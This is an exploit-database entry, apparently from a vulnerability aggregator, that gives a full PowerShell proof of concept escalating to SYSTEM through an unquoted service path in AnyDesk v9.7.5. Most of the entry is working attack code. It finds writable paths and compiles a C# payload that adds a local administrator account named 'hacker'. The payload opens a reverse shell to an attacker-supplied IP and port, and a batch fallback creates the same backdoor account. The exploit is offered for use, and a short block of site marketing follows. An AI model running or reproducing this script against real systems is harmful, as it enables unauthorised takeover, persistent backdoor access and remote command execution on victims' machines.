==================================================================================================================================
| # Title : AnyDesk v9.7.5 Unquoted Service Path Privilege Escalation to SYSTEM |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://anydesk.com/en |
==================================================================================================================================
[+] Summary : This script exploits the unquoted service path vulnerability in AnyDesk to escalate privileges to SYSTEM.
[+] POC :
<#
.SYNOPSIS
.EXAMPLE
.\AnyDesk_LPE_fixed.ps1
.\AnyDesk_LPE_fixed.ps1 -AttackerIP 10.0.0.5 -AttackerPort 4444
.\AnyDesk_LPE_fixed.ps1 -Cleanup
#>
param(
[string]$AttackerIP = "127.0.0.1",
[int]$AttackerPort = 4444,
[string]$PayloadPath = "",
[switch]$Cleanup,
[switch]$RestoreService,
[switch]$Verbose
)
function Write-ColorOutput {
param(
[string]$Message,
[string]$Color = "White"
)
$colors = @{
"SUCCESS" = "Green"
"ERROR" = "Red"
"WARNING" = "Yellow"
"INFO" = "Cyan"
"DEBUG" = "DarkGray"
}
$colorName = if ($colors.ContainsKey($Color)) { $colors[$Color] } else { $Color }
Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $Message" -ForegroundColor $colorName
}
function Test-WriteAccess {
param([string]$DirectoryPath)
try {
if (-not (Test-Path $DirectoryPath)) {
return $false
}
$testFile = Join-Path $DirectoryPath ".write_test_$(Get-Random).tmp"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force -ErrorAction SilentlyContinue
return $true
} catch {
return $false
}
}
function Test-PathWritable {
param([string]$FilePath)
$directory = [System.IO.Path]::GetDirectoryName($FilePath)
if (-not (Test-Path $directory)) {
return $false
}
if (Test-WriteAccess $directory) {
return $true
}
try {
$acl = Get-Acl $directory -ErrorAction SilentlyContinue
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
foreach ($access in $acl.Access) {
if ($access.IdentityReference.Value -eq $currentUser.Value -or
$access.IdentityReference.Value -eq "BUILTIN\Users") {
if (($access.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -and
$access.AccessControlType -eq "Allow") {
return $true
}
}
}
} catch { }
return $false
}
function Test-SystemPrivileges {
$identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
if ($identity.User.Value -eq "S-1-5-18") {
return $true
}
$principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
}
function Find-AnyDeskService {
$services = Get-CimInstance -ClassName Win32_Service
$possibleNames = @("anydesk", "AnyDeskService", "AnyDesk", "AD Service")
foreach ($name in $possibleNames) {
$service = $services | Where-Object {
$_.Name -like "*$name*" -or
$_.DisplayName -like "*AnyDesk*" -or
$_.PathName -like "*AnyDesk*"
}
if ($service) {
$binPath = $service.PathName -replace '^"|"$', ''
$executable = ($binPath -split ' ')[0]
if (Test-Path $executable) {
$versionInfo = Get-ItemProperty -Path $executable -ErrorAction SilentlyContinue
if ($versionInfo) {
$version = $versionInfo.VersionInfo.ProductVersion
Write-ColorOutput "Found AnyDesk version: $version" "INFO"
}
}
return $service
}
}
return $null
}
function Test-UnquotedServicePath {
param([object]$Service)
if ($Service -eq $null) { return $false }
$binPath = $Service.PathName
Write-ColorOutput "Binary path: $binPath" "DEBUG"
$exePath = if ($binPath -match '^"([^"]*)"') {
$matches[1]
} else {
($binPath -split ' ')[0]
}
Write-ColorOutput "Executable path: $exePath" "DEBUG"
if (-not (Test-Path $exePath -PathType Leaf)) {
Write-ColorOutput "Executable not found" "WARNING"
return $false
}
$isUnquoted = ($exePath -match " " -and $binPath -notmatch '^".*"$')
if (-not $isUnquoted) {
return $false
}
$directory = [System.IO.Path]::GetDirectoryName($exePath)
if (Test-WriteAccess $directory) {
Write-ColorOutput "Write access confirmed to $directory" "SUCCESS"
return $true
}
Write-ColorOutput "No write access to $directory" "WARNING"
return $false
}
function Get-VulnerablePaths {
param([object]$Service)
$vulnerablePaths = @()
if ($Service -eq $null) { return $vulnerablePaths }
$binPath = $Service.PathName -replace '^"|"$', ''
$exePath = ($binPath -split ' ')[0]
if ($exePath -notmatch " ") { return $vulnerablePaths }
$current = $exePath
while ($current) {
$parent = [System.IO.Path]::GetDirectoryName($current)
$filename = [System.IO.Path]::GetFileName($current)
if ([string]::IsNullOrEmpty($filename) -or $filename -eq $current) { break }
if ($filename -match " " -and (Test-Path $parent -PathType Container)) {
$execName = ($filename -split ' ')[0]
$vulnPath = Join-Path $parent "$execName.exe"
if (Test-PathWritable $vulnPath) {
Write-ColorOutput "Found vulnerable path: $vulnPath" "INFO"
$vulnerablePaths += $vulnPath
}
}
$current = $parent
}
return $vulnerablePaths
}
function New-MaliciousExecutable {
param(
[string]$Path,
[string]$AttackerIP,
[int]$AttackerPort,
[string]$CustomPayloadPath
)
if ($CustomPayloadPath -and (Test-Path $CustomPayloadPath)) {
try {
Copy-Item -Path $CustomPayloadPath -Destination $Path -Force -ErrorAction Stop
Write-ColorOutput "Custom payload copied to $Path" "SUCCESS"
return $true
} catch {
Write-ColorOutput "Failed to copy custom payload: $($_.Exception.Message)" "ERROR"
# Fall through to create our own
}
}
Write-ColorOutput "Creating malicious executable: $Path" "INFO"
$csharpCode = @"
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.Text;
class Program {
static void Main() {
try {
ProcessStartInfo psi = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process p = Process.Start(psi);
p.WaitForExit();
TcpClient client = new TcpClient("$AttackerIP", $AttackerPort);
NetworkStream stream = client.GetStream();
byte[] buffer = new byte[4096];
while (true) {
int bytesRead = stream.Read(buffer, 0, buffer.Length);
if (bytesRead == 0) break;
string command = Encoding.ASCII.GetString(buffer, 0, bytesRead);
ProcessStartInfo psi2 = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c " + command,
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process p2 = Process.Start(psi2);
string output = p2.StandardOutput.ReadToEnd();
p2.WaitForExit();
stream.Write(Encoding.ASCII.GetBytes(output), 0, output.Length);
}
} catch { }
}
}
"@
# Find C# compiler
$cscPaths = @(
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe",
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
)
$cscPath = $null
foreach ($path in $cscPaths) {
if (Test-Path $path) {
$cscPath = $path
break
}
}
if (-not $cscPath) {
Write-ColorOutput "C# compiler not found. Creating simple batch file instead." "WARNING"
$batchContent = "@echo off`r`nwhoami > C:\temp\anydesk_lpe.txt`r`nnet user hacker P@ssw0rd123! /add`r`nnet localgroup administrators hacker /add"
[System.IO.File]::WriteAllText($Path, $batchContent)
return (Test-Path $Path)
}
$tempCS = [System.IO.Path]::GetTempFileName() + ".cs"
[System.IO.File]::WriteAllText($tempCS, $csharpCode)
& $cscPath /out:"$Path" /target:exe $tempCS 2>$null
Remove-Item $tempCS -Force -ErrorAction SilentlyContinue
return (Test-Path $Path)
}
function Stop-ServiceSafely {
param([string]$Name)
Write-ColorOutput "Stopping $Name service..." "INFO"
try {
$service = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($service -eq $null) { return $false }
# Check dependencies
$dependencies = Get-Service -Name $Name -DependentServices -ErrorAction SilentlyContinue
if ($dependencies.Count -gt 0) {
Write-ColorOutput "Service has $($dependencies.Count) dependencies" "DEBUG"
}
for ($i = 0; $i -lt 5; $i++) {
Stop-Service -Name $Name -Force -ErrorAction SilentlyContinue
Start-Sleep -Milliseconds 500
$svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq "Stopped") {
Write-ColorOutput "Service stopped" "SUCCESS"
return $true
}
}
return $false
} catch {
Write-ColorOutput "Failed to stop service: $($_.Exception.Message)" "ERROR"
return $false
}
}
function Start-ServiceSafely {
param([string]$Name)
Write-ColorOutput "Starting $Name service..." "INFO"
try {
for ($i = 0; $i -lt 3; $i++) {
Start-Service -Name $Name -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
$svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq "Running") {
Write-ColorOutput "Service started" "SUCCESS"
return $true
}
}
return $false
} catch {
Write-ColorOutput "Failed to start service: $($_.Exception.Message)" "ERROR"
return $false
}
}
function Remove-FileWithRetry {
param([string]$Path)
if (-not (Test-Path $Path)) { return $true }
for ($i = 0; $i -lt 5; $i++) {
try {
Remove-Item -Path $Path -Force -ErrorAction Stop
return $true
} catch {
if ($i -lt 4) {
Start-Sleep -Seconds 1
}
}
}
Write-ColorOutput "Could not delete $Path (may be in use)" "WARNING"
return $false
}
function Invoke-AnyDeskLPE {
Write-ColorOutput @"
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β AnyDesk v9.7.5 - Unquoted Service Path Privilege Escalation β
β Local Privilege Escalation to SYSTEM β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
"@ "INFO"
Write-ColorOutput "Target: $env:COMPUTERNAME" "INFO"
Write-ColorOutput "User: $env:USERNAME" "INFO"
if (Test-SystemPrivileges) {
Write-ColorOutput "Already running as SYSTEM!" "SUCCESS"
return $true
}
$service = Find-AnyDeskService
if ($service -eq $null) {
Write-ColorOutput "AnyDesk service not found" "ERROR"
return $false
}
Write-ColorOutput "Service found: $($service.Name)" "SUCCESS"
if (-not (Test-UnquotedServicePath -Service $service)) {
Write-ColorOutput "Service is not vulnerable (path is quoted or no write access)" "ERROR"
return $false
}
$vulnerablePaths = Get-VulnerablePaths -Service $service
if ($vulnerablePaths.Count -eq 0) {
Write-ColorOutput "No vulnerable paths found" "ERROR"
return $false
}
Write-ColorOutput "Found vulnerable paths:" "SUCCESS"
foreach ($path in $vulnerablePaths) {
Write-ColorOutput " $path" "INFO"
}
$targetPath = $vulnerablePaths[0]
if (-not (New-MaliciousExecutable -Path $targetPath -AttackerIP $AttackerIP -AttackerPort $AttackerPort -CustomPayloadPath $PayloadPath)) {
Write-ColorOutput "Failed to create malicious executable" "ERROR"
return $false
}
Write-ColorOutput "Malicious executable created at: $targetPath" "SUCCESS"
if (Stop-ServiceSafely -Name $service.Name) {
Write-ColorOutput "Payload trigger initiated" "SUCCESS"
Start-Sleep -Seconds 5
if ($RestoreService) {
Start-ServiceSafely -Name $service.Name
}
} else {
Write-ColorOutput "Could not stop service. Manual trigger may be needed." "WARNING"
}
Write-ColorOutput "Exploit completed" "SUCCESS"
return $true
}
function Invoke-Cleanup {
Write-ColorOutput "Cleaning up..." "INFO"
$pathsToClean = @(
"C:\Program.exe",
"C:\Program Files.exe",
"C:\Program Files (x86)\AnyDesk\Program.exe"
)
foreach ($path in $pathsToClean) {
if (Test-Path $path) {
Remove-FileWithRetry -Path $path
}
}
Write-ColorOutput "Cleanup completed" "SUCCESS"
}
$result = Invoke-AnyDeskLPE
if ($Cleanup) {
Invoke-Cleanup
}
exit (-not $result)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation